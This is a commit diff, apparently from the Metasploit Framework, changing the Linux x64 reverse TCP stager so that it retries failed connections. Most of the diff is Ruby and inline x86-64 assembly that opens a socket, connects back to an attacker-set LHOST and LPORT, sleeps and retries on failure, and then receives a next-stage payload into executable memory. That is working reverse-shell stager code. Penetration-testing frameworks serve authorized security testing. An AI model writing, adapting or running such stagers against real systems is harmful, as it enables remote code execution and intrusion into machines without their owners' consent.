Skip to content

Commit db2e3f2

Browse files
committed
add retry to linux reverse tcp x64
1 parent b8f56d1 commit db2e3f2

File tree

1 file changed

+27
-4
lines changed

1 file changed

+27
-4
lines changed

lib/msf/core/payload/linux/x64/reverse_tcp.rb

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -27,13 +27,12 @@ def generate
2727
port: datastore['LPORT'],
2828
host: datastore['LHOST'],
2929
retry_count: datastore['ReverseConnectRetries'],
30-
reliable: false
30+
sleep_seconds: datastore['StagerRetryWait'],
3131
}
3232

3333
# Generate the advanced stager if we have space
3434
if self.available_space && required_space <= self.available_space
3535
conf[:exitfunk] = datastore['EXITFUNC']
36-
conf[:reliable] = true
3736
end
3837

3938
generate_reverse_tcp(conf)
@@ -83,12 +82,16 @@ def required_space
8382
#
8483
def asm_reverse_tcp(opts={})
8584
# TODO: reliability is coming
86-
retry_count = [opts[:retry_count].to_i, 1].max
85+
retry_count = opts[:retry_count]
8786
reliable = opts[:reliable]
8887
encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
8988
encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
89+
seconds = (opts[:sleep_seconds] || 5.0)
90+
sleep_seconds = seconds.to_i
91+
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
9092

9193
asm = %Q^
94+
mmap:
9295
xor rdi, rdi
9396
push 0x9
9497
pop rax
@@ -103,6 +106,10 @@ def asm_reverse_tcp(opts={})
103106
test rax, rax
104107
js failed
105108
109+
push #{retry_count} ; retry counter
110+
pop r9
111+
112+
create_socket:
106113
push rsi
107114
push rax
108115
push 0x29
@@ -116,6 +123,7 @@ def asm_reverse_tcp(opts={})
116123
test rax, rax
117124
js failed
118125
126+
connect:
119127
xchg rdi, rax
120128
mov rcx, 0x#{encoded_host}#{encoded_port}
121129
push rcx
@@ -126,8 +134,23 @@ def asm_reverse_tcp(opts={})
126134
pop rax
127135
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
128136
test rax, rax
129-
js failed
137+
jns recv
138+
139+
handle_failure:
140+
dec r9
141+
jz failed
142+
push 0x23
143+
pop rax
144+
push 0x#{sleep_nanoseconds.to_s(16)}
145+
push 0x#{sleep_seconds.to_s(16)}
146+
mov rdi, rsp
147+
xor rsi, rsi
148+
syscall ; sys_nanosleep
149+
test rax, rax
150+
jns create_socket
151+
jmp failed
130152
153+
recv:
131154
pop rcx
132155
pop rsi
133156
pop rdx

0 commit comments

Comments
 (0)